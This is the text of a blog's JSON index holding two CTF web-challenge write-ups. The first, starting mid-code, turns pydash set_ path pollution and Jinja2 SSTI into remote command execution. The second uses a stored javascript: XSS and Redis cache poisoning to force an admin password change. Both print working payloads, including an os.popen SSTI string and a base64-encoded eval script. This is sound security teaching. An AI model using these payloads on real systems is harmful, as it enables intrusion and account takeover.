redirect(\u0026#39;/articles\u0026#39;) @app.route(\u0026#34;/remove/\u0026lt;name\u0026gt;\u0026#34;) def remove_article(name): articles.remove(name) return redirect(\u0026#39;/articles\u0026#39;) @app.route(\u0026#34;/articles/\u0026lt;name\u0026gt;\u0026#34;) def render_page(name): article_content = articles[name] if article_content == None: pass if \u0026#39;user\u0026#39; in session and users[session[\u0026#39;user\u0026#39;][\u0026#39;username\u0026#39;]][\u0026#39;seeTemplate\u0026#39;] != False: article_content = render_template_string(article_content) return render_template(\u0026#39;article.html\u0026#39;, article={\u0026#39;name\u0026#39;:name, \u0026#39;content\u0026#39;:article_content}) @app.route(\u0026#34;/articles\u0026#34;) def get_all_articles(): return render_template(\u0026#39;articles.html\u0026#39;, articles=articles.get_all()) @app.route(\u0026#39;/show_template\u0026#39;) def show_template(): if \u0026#39;user\u0026#39; in session and users[session[\u0026#39;user\u0026#39;][\u0026#39;username\u0026#39;]][\u0026#39;restricted\u0026#39;] == False: if request.args.get(\u0026#39;value\u0026#39;) == \u0026#39;1\u0026#39;: users[session[\u0026#39;user\u0026#39;][\u0026#39;username\u0026#39;]][\u0026#39;seeTemplate\u0026#39;] = True session[\u0026#39;user\u0026#39;][\u0026#39;seeTemplate\u0026#39;] = True else: users[session[\u0026#39;user\u0026#39;][\u0026#39;username\u0026#39;]][\u0026#39;seeTemplate\u0026#39;] = False session[\u0026#39;user\u0026#39;][\u0026#39;seeTemplate\u0026#39;] = False return redirect(\u0026#39;/articles\u0026#39;) @app.route(\u0026#34;/register\u0026#34;, methods=[\u0026#34;POST\u0026#34;, \u0026#34;GET\u0026#34;]) def register(): if request.method == \u0026#39;GET\u0026#39;: return render_template(\u0026#39;register.html\u0026#39;) username, password = request.form.get(\u0026#39;username\u0026#39;), request.form.get(\u0026#39;password\u0026#39;) if type(username) != str or type(password) != str: return render_template(\u0026#34;register.html\u0026#34;, error=\u0026#34;Wtf are you trying bro ?!\u0026#34;) result = users.create(username, password) if result == 1: session[\u0026#39;user\u0026#39;] = {\u0026#39;username\u0026#39;:username, \u0026#39;seeTemplate\u0026#39;: users[username][\u0026#39;seeTemplate\u0026#39;]} return redirect(\u0026#34;/\u0026#34;) elif result == 0: return render_template(\u0026#34;register.html\u0026#34;, error=\u0026#34;User already registered\u0026#34;) else: return render_template(\u0026#34;register.html\u0026#34;, error=\u0026#34;Error while registering user\u0026#34;) @app.route(\u0026#34;/login\u0026#34;, methods=[\u0026#34;POST\u0026#34;, \u0026#34;GET\u0026#34;]) def login(): if request.method == \u0026#39;GET\u0026#39;: return render_template(\u0026#39;login.html\u0026#39;) username, password = request.form.get(\u0026#39;username\u0026#39;), request.form.get(\u0026#39;password\u0026#39;) if type(username) != str or type(password) != str: return render_template(\u0026#39;login.html\u0026#39;, error=\u0026#34;Wtf are you trying bro ?!\u0026#34;) if users.login(username, password) == True: session[\u0026#39;user\u0026#39;] = {\u0026#39;username\u0026#39;:username, \u0026#39;seeTemplate\u0026#39;: users[username][\u0026#39;seeTemplate\u0026#39;]} return redirect(\u0026#34;/\u0026#34;) else: return render_template(\u0026#34;login.html\u0026#34;, error=\u0026#34;Error while login user\u0026#34;) @app.route(\u0026#39;/logout\u0026#39;) def logout(): session.pop(\u0026#39;user\u0026#39;) return redirect(\u0026#39;/\u0026#39;) @app.route(\u0026#39;/\u0026#39;) def index(): return render_template(\u0026#34;home.html\u0026#34;) app.run(\u0026#39;0.0.0.0\u0026#39;, 5000, debug=True) Three things jump out:\nDebug mode is on, which normally exposes the /console RCE endpoint. A per-user seeTemplate flag decides whether article content is run through render_template_string(article_content), that\u0026rsquo;s a template-injection sink. The secret key is hardcoded, not pulled from the environment, so if we can read or overwrite it we can forge session cookies. Analyzing users.py code users.py handles accounts:\nimport hashlib class Users: users = {} def __init__(self): self.users[\u0026#39;admin\u0026#39;] = {\u0026#39;password\u0026#39;: None, \u0026#39;restricted\u0026#39;: False, \u0026#39;seeTemplate\u0026#39;:True } def create(self, username, password): if username in self.users: return 0 self.users[username]= {\u0026#39;password\u0026#39;: hashlib.sha256(password.encode()).hexdigest(), \u0026#39;restricted\u0026#39;: True, \u0026#39;seeTemplate\u0026#39;: False} return 1 def login(self, username, password): if username in self.users and self.users[username][\u0026#39;password\u0026#39;] == hashlib.sha256(password.encode()).hexdigest(): return True return False def seeTemplate(self, username, value): if username in self.users and self.users[username].restricted == False: self.users[username].seeTemplate = value def __getitem__(self, username): if username in self.users: return self.users[username] return None There\u0026rsquo;s an admin user with password None, restricted False and seeTemplate True:\nself.users[\u0026#39;admin\u0026#39;] = {\u0026#39;password\u0026#39;: None, \u0026#39;restricted\u0026#39;: False, \u0026#39;seeTemplate\u0026#39;:True } New users from register are the opposite, restricted and unable to view templates:\nself.users[username]= {\u0026#39;password\u0026#39;: hashlib.sha256(password.encode()).hexdigest(), \u0026#39;restricted\u0026#39;: True, \u0026#39;seeTemplate\u0026#39;: False} Passwords are hashed with SHA-256.\nAnalyzing articles.py code Last file, articles.py:\nimport pydash class Articles: def __init__(self): self.set(\u0026#39;welcome\u0026#39;, \u0026#39;Test of new template system: {%block test%}Block test{%endblock%}\u0026#39;) def set(self, article_name, article_content): pydash.set_(self, article_name, article_content) return True def get(self, article_name): if hasattr(self, article_name): return (self.__dict__[article_name]) return None def remove(self, article_name): if hasattr(self, article_name): delattr(self, article_name) def get_all(self): return self.__dict__ def __getitem__(self, article_name): return self.get(article_name) Only set matters here: it stores an article via pydash\u0026rsquo;s set_, turning the article name and content into a class attribute.\nExploitation The /console endpoint turns out to be PIN-protected, and the usual bypass needs to read files off the machine, which isn\u0026rsquo;t possible here. So the way in is through that set_ call, by choosing a malicious article name.\nHere\u0026rsquo;s what pydash\u0026rsquo;s set_ does:\npydash.objects.set_(obj, path, value) Assigns the value of an object described by the path. If part of the object\u0026#39;s path does not exist, it will be created. import pydash pydash.set_({}, \u0026#39;a.b.c\u0026#39;, 1) # Output: {\u0026#39;a\u0026#39;: {\u0026#39;b\u0026#39;: {\u0026#39;c\u0026#39;: 1}}} pydash.set_({}, \u0026#39;a.0.c\u0026#39;, 1) # Output: {\u0026#39;a\u0026#39;: {\u0026#39;0\u0026#39;: {\u0026#39;c\u0026#39;: 1}}} pydash.set_([1, 2], \u0026#39;[2][0]\u0026#39;, 1) # Output: [1, 2, [1]] pydash.set_({}, \u0026#39;a.b[0].c\u0026#39;, 1) # Output: {\u0026#39;a\u0026#39;: {\u0026#39;b\u0026#39;: [{\u0026#39;c\u0026#39;: 1}]}} Source: https://pydash.readthedocs.io/en/v5.1.2/api.html#pydash.objects.set_\nHere set_ is called as set_(self, name, content), where self is the Articles instance. The name is the dotted path. Since we fully control it, we can walk that path across object internals and overwrite values anywhere the process can reach.\nFor instance, an article named __init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.users.admin.password lands right on the admin\u0026rsquo;s stored password hash.\nAdmin account access Setting that article\u0026rsquo;s content to 8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 (SHA-256 of \u0026ldquo;admin\u0026rdquo;) rewrites the admin password to admin:\nimport hashlib print(hashlib.sha256(\u0026#34;admin\u0026#34;.encode()).hexdigest()) #8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 Now admin:admin logs us in, and admin has seeTemplate enabled.\nAccess to the flag With seeTemplate on, article content runs through render_template_string, so a crafted article becomes Jinja2 SSTI. First, list files:\n{{ config.__class__.from_envvar.__globals__.import_string(\u0026#34;os\u0026#34;).popen(\u0026#34;ls\u0026#34;).read() }} That\u0026rsquo;s RCE. Now just read the flag:\n{{ config.__class__.from_envvar.__globals__.import_string(\u0026#34;os\u0026#34;).popen(\u0026#34;cat /flag.txt\u0026#34;).read() }} Flag : PWNME{de3_pOL1tTiOn_cAn_B3_D3s7rUctv3}\nAlternative solution The same set_ primitive can instead overwrite the Flask secret key. Flask only signs session cookies with that key, so once we control it we can forge our own: take a normal user\u0026rsquo;s cookie with flask-unsign, swap the username for admin, and re-sign it with the key we just set.\nTips \u0026amp; Tricks Read the documentation of the libraries used. Identify the entry points of the application. Identify places where user data is used. The set_ function from the pydash library allows creating class attributes from a string and can be used to overwrite existing values or create new ones. Test SSTI (Server-Side Template Injection) with payloads like {{ config.__class__.from_envvar.__globals__.import_string(\u0026quot;os\u0026quot;).popen(\u0026quot;ls\u0026quot;).read() }} on places where user data is used and interpreted. ","date":"2023-05-07T00:00:00Z","image":"/images/pwnme2023/web/anozer_blog_admin.png","permalink":"/posts/ctf/pwnme-2023/web/anozer-blog/","title":"Source disclosure to Jinja2 SSTI RCE on Flask - PwnMe 2023"},{"content":"Introduction Log in to the admin account and retrieve the flag.\nPrerequisites Completed the challenge Blogodogo #1 The referral token 83d99a0ac225079db31b44a2e58b19f0 to create an account. Solution Blogodogo #1 handed us a referral code, which lets us register an account, test:test.\nThe sources include a /bot directory that plays the admin: it opens whatever link it\u0026rsquo;s handed as an argument.\nif (process.argv.length === 2) { console.error(\u0026#34;No URL provided!\u0026#34;); process.exit(1); } goto(process.argv[2]); // Go to the URL passed as a parameter Grepping for where the bot gets launched turns up this route in routes.py, which fires it once the submitted URL passes a check:\n@bp_routes.route(\u0026#34;/post/report\u0026#34;, methods=[\u0026#34;POST\u0026#34;]) def report_post(): url = request.form.get(\u0026#34;url\u0026#34;, \u0026#34;\u0026#34;) if not re.match(\u0026#34;^http://localhost:5000/.*\u0026#34;, url): flash(\u0026#34;URL not valid, please match: ^http://localhost:5000/.*\u0026#34;, \u0026#34;warning\u0026#34;) return redirect(url_for(\u0026#39;bp_routes.index\u0026#39;)) subprocess.run([\u0026#34;node\u0026#34;, \u0026#34;/app/bot/bot.js\u0026#34;, url]) flash(\u0026#34;Your request has been sent to an administrator!\u0026#34;, \u0026#34;success\u0026#34;) return redirect(url_for(\u0026#39;bp_routes.index\u0026#39;)) Note: The subprocess.run() function allows executing a command in the terminal, but in our case, there is no possibility of command injection. To make the subprocess.run() call vulnerable, the shell argument would need to be set to True (by default, it is False).\nExample: subprocess.run([\u0026quot;node\u0026quot;, \u0026quot;/app/bot/bot.js\u0026quot;, url], shell=True)\nThe URL has to match http://localhost:5000/... to reach the bot. This is almost certainly building toward an XSS.\nFinding the XSS We can hand the admin a link, but we still need a spot where we control JavaScript that runs in their session. Time to hunt for an injection point.\nFirst lead: posts First try was the article itself: JavaScript and HTML in the title, slug, and content. All special characters get escaped.\nPosts are a dead end.\nSecond lead: usernames Next, the username. Same story, special characters escaped.\nUsernames are a dead end.\nThird lead: user profile Last lead, the profile page. It has a form to change username, password, website, and avatar.\nThe page\u0026rsquo;s source holds this script:\naddEventListener(\u0026#39;DOMContentLoaded\u0026#39;, (event) =\u0026gt; { let hash = window.location.hash; if (hash !== \u0026#39;\u0026#39;) { let button = document.getElementById(hash.slice(1)); button.click(); } }); This looks promising: the script reads the URL hash and clicks the element whose ID matches. So a URL like http://localhost:5000/profile#\u0026lt;id\u0026gt; auto-clicks an element on the page.\nTwo elements are clickable: the \u0026ldquo;Author\u0026rsquo;s website\u0026rdquo; link and the \u0026ldquo;Share your profile\u0026rdquo; button.\nThe author\u0026rsquo;s website link points at /profile# for now, and \u0026ldquo;Share your profile\u0026rdquo; just opens a pop-up.\nThe form lets us set a \u0026ldquo;Custom URL\u0026rdquo;. Set it to anything and the \u0026ldquo;Author\u0026rsquo;s website\u0026rdquo; link updates to match.\nThe naive attempt, \u0026quot;\u0026gt;\u0026lt;script\u0026gt;alert();\u0026lt;/script\u0026gt;, to break out of the attribute:\nExcept for parentheses, the special characters get escaped:\n\u0026lt;a id=\u0026#34;author-website\u0026#34; class=\u0026#34;text-center\u0026#34; href=\u0026#34;\u0026amp;#34;\u0026amp;gt;\u0026amp;lt;script\u0026amp;gt;alert();\u0026amp;lt;/script\u0026amp;gt;\u0026#34;\u0026gt;Author\u0026#39;s website\u0026lt;/a\u0026gt; But we don\u0026rsquo;t need to escape the attribute at all. A javascript:alert() URI stays inside href:\nAnd JavaScript runs.\nCombined with the hash-click script from earlier: send the bot /profile#author-website and it clicks the \u0026ldquo;Author\u0026rsquo;s website\u0026rdquo; link, firing our javascript: URI.\nNext step, go after the admin\u0026rsquo;s cookie.\nStealing the Admin\u0026rsquo;s Cookie The plan: a payload that reads the cookies and ships them to our server.\nThat went nowhere, document.cookie comes back empty. The reason is in config.py:\n[...] class TestConfig: DEBUG = True DEVELOPMENT = True BLOG_NAME = \u0026#34;Blogodogo\u0026#34; REFERRAL_CODE = getenv(\u0026#34;REFERRAL_CODE\u0026#34;) SECRET_KEY = token_hex() SESSION_COOKIE_HTTPONLY = True SESSION_COOKIE_SECURE = False SQLALCHEMY_DATABASE_URI = \u0026#34;sqlite:///:memory:\u0026#34; SQLALCHEMY_TRACK_MODIFICATIONS = False SESSION_COOKIE_HTTPONLY is True, so the session cookie is off-limits to JavaScript.\nSource: https://flask.palletsprojects.com/en/2.3.x/config/#SESSION_COOKIE_HTTPONLY\nCookie theft is out, so we need another route into the admin account.\nChanging the Password Back to the profile form, here\u0026rsquo;s the code behind it:\n@bp_routes.route(\u0026#34;/profile\u0026#34;, methods=[\u0026#34;GET\u0026#34;, \u0026#34;POST\u0026#34;]) @login_required def profile(): form = EditProfileForm() if form.validate_on_submit(): author = Authors.query.filter_by(id=current_user.id).first() _username = form.username.data _new_password = form.new_password.data _new_password_confirm = form.new_password_confirm.data _url = form.url.data _avatar = form.avatar.data if author.username != _username and Authors.query.filter_by(username=_username).first(): flash(\u0026#34;Username already exists.\u0026#34;, \u0026#34;warning\u0026#34;) return render_template(\u0026#34;pages/profile.html\u0026#34;, title=\u0026#34;My profile\u0026#34;, form=form) if _new_password and _new_password != _new_password_confirm: flash(\u0026#34;The two passwords do not match\u0026#34;, \u0026#34;warning\u0026#34;) return render_template(\u0026#34;pages/profile.html\u0026#34;, title=\u0026#34;My profile\u0026#34;, form=form) author.username = _username author.password = _new_password if _url: author.url = _url if _avatar: author.avatar = _avatar db.session.add(author) db.session.commit() flash(\u0026#34;Profile successfully edited.\u0026#34;, \u0026#34;success\u0026#34;) [...] # Rest of the cropped code for readability Two checks run here:\nthe new username isn\u0026rsquo;t already taken the two password fields match But notice the current-password field from the web form is never checked server-side. So JavaScript running as the admin can walk them through a password change without knowing their old password.\nRecall the admin opens links sent via /post/report, and /profile#author-website makes them click through to their own profile.\nNote: We will see later in the write-up that it is possible to overwrite the admin\u0026rsquo;s custom URL value and thus make them execute our password change script.\nSo the password-change script needs four moves:\nset username to admin set new_password to cracked set new_password_confirm to cracked click Edit Profile Which gives:\nlet username = document.getElementById(\u0026#39;username\u0026#39;); let new_password = document.getElementById(\u0026#39;new_password\u0026#39;); let new_password_confirm = document.getElementById(\u0026#39;new_password_confirm\u0026#39;); let submit = document.getElementById(\u0026#39;submit\u0026#39;); username.value = \u0026#39;admin\u0026#39;; new_password.value = \u0026#39;cracked\u0026#39;; new_password_confirm.value = \u0026#39;cracked\u0026#39;; submit.click(); This script can be executed in a single line:\ndocument.getElementById(\u0026#39;username\u0026#39;).value=\u0026#39;admin\u0026#39;;document.getElementById(\u0026#39;new_password\u0026#39;).value=\u0026#39;cracked\u0026#39;;document.getElementById(\u0026#39;new_password_confirm\u0026#39;).value=\u0026#39;cracked\u0026#39;;document.getElementById(\u0026#39;submit\u0026#39;).click(); Dropping it into our own Custom URL to test:\njavascript:document.getElementById(\u0026#39;username\u0026#39;).value=\u0026#39;admin\u0026#39;;document.getElementById(\u0026#39;new_password\u0026#39;).value=\u0026#39;cracked\u0026#39;;document.getElementById(\u0026#39;new_password_confirm\u0026#39;).value=\u0026#39;cracked\u0026#39;;document.getElementById(\u0026#39;submit\u0026#39;).click(); The script runs, but it can\u0026rsquo;t rename us to admin, that username is taken.\nPointing it at my own test account instead, though, the password change goes through fine.\nOne odd thing, though: sometimes when I change my URL, it doesn\u0026rsquo;t update.\nInjecting a Custom URL on the Admin\u0026rsquo;s Profile To figure out why, here\u0026rsquo;s the rest of the /profile route in routes.py:\n@bp_routes.route(\u0026#34;/profile\u0026#34;, methods=[\u0026#34;GET\u0026#34;, \u0026#34;POST\u0026#34;]) @login_required def profile(): form = EditProfileForm() [...] # Cropped code for readability key_name_url = \u0026#34;profile_\u0026#34; + current_user.username.lower() + \u0026#34;_url\u0026#34; key_name_username = \u0026#34;profile_\u0026#34; + current_user.username.lower() + \u0026#34;_username\u0026#34; cache_url, cache_username = redis_client.get(key_name_url), redis_client.get(key_name_username) if not cache_url or not cache_username: redis_client.set(key_name_username, current_user.username) redis_client.expire(key_name_username, 60) redis_client.set(key_name_url, current_user.url) redis_client.expire(key_name_url, 60) cache_url, cache_username = redis_client.get(key_name_url).decode(), redis_client.get(key_name_username).decode() return render_template(\u0026#34;pages/profile.html\u0026#34;, title=\u0026#34;My profile\u0026#34;, form=form, cache_url=cache_url, cache_username=cache_username) This is the Redis caching logic.\nEvery visit to /profile caches the user\u0026rsquo;s username and custom url in Redis, and the cache key uses the lowercased username, not the raw one.\nWalking through it for user tEST hitting their profile:\nGenerating Redis keys profile_test_url profile_test_username Retrieving cached values If the keys do not exist in the cache Caching the values Expiring the keys after 60 seconds Displaying the profile with the cached values The key uses test, not tEST, because of the lowercasing.\nThat\u0026rsquo;s the bug: an account named ADMIN shares cache keys with admin. So I can poison the admin\u0026rsquo;s cached custom URL with my payload and have their next profile visit run it.\nI registered ADMIN and dropped the earlier payload into its Custom URL:\njavascript:document.getElementById(\u0026#39;username\u0026#39;).value=\u0026#39;admin\u0026#39;;document.getElementById(\u0026#39;new_password\u0026#39;).value=\u0026#39;cracked\u0026#39;;document.getElementById(\u0026#39;new_password_confirm\u0026#39;).value=\u0026#39;cracked\u0026#39;;document.getElementById(\u0026#39;submit\u0026#39;).click(); To avoid any quoting issues, I base64-encoded the payload:\njavascript:eval(atob(/ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3VzZXJuYW1lJykudmFsdWU9J2FkbWluJztkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbmV3X3Bhc3N3b3JkJykudmFsdWU9J2NyYWNrZWQnO2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCduZXdfcGFzc3dvcmRfY29uZmlybScpLnZhbHVlPSdjcmFja2VkJztkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc3VibWl0JykuY2xpY2soKTs=/.source)) The cache picked up the payload, so admin now carries my custom URL.\nNote: you can confirm the poisoning by registering yet another admin variant (any mix of uppercase) and visiting its profile. Its author-website link already shows the URL set on the other account.\nNow reporting /profile#author-website to the admin changes their password to cracked:\ncurl -X POST -d \u0026#34;url=http://localhost:5000/profile#author-website\u0026#34; http://dyn-02.heroctf.fr:12077/post/report \u0026lt;!doctype html\u0026gt; \u0026lt;html lang=en\u0026gt; \u0026lt;title\u0026gt;Redirecting...\u0026lt;/title\u0026gt; \u0026lt;h1\u0026gt;Redirecting...\u0026lt;/h1\u0026gt; \u0026lt;p\u0026gt;You should be redirected automatically to the target URL: \u0026lt;a href=\u0026#34;/\u0026#34;\u0026gt;/\u0026lt;/a\u0026gt;. If not, click the link. The report goes through and the admin\u0026rsquo;s password is changed.\nImportant: send the report within 60 seconds of poisoning the cache. After that the key expires and the payload URL is gone.\nWe can now log in as admin / cracked:\nFlag: Hero{very_n1ce_move_into_c4che}\nTips \u0026amp; Tricks Always refer to the documentation of the functions used in the source code when testing for an injection. Look into the source code of the pages. The SESSION_COOKIE_HTTPONLY parameter allows restricting access to the session cookie in JavaScript on Flask. When unable to access cookies during an XSS (Cross-Site Scripting) attack, find alternative ways to access the account, such as changing the administrator\u0026rsquo;s password. Verify how access controls are implemented on the pages. Check how caching is managed and its lifespan. ","date":"2024-05-15T00:00:00Z","image":"/images/heroctfv5/web/blog_profile.png","permalink":"/posts/ctf/heroctf-v5-2023/blogodogo-2/","title":"Stored XSS, cache poisoning and password reset to admin takeover - HeroCTF v5"}]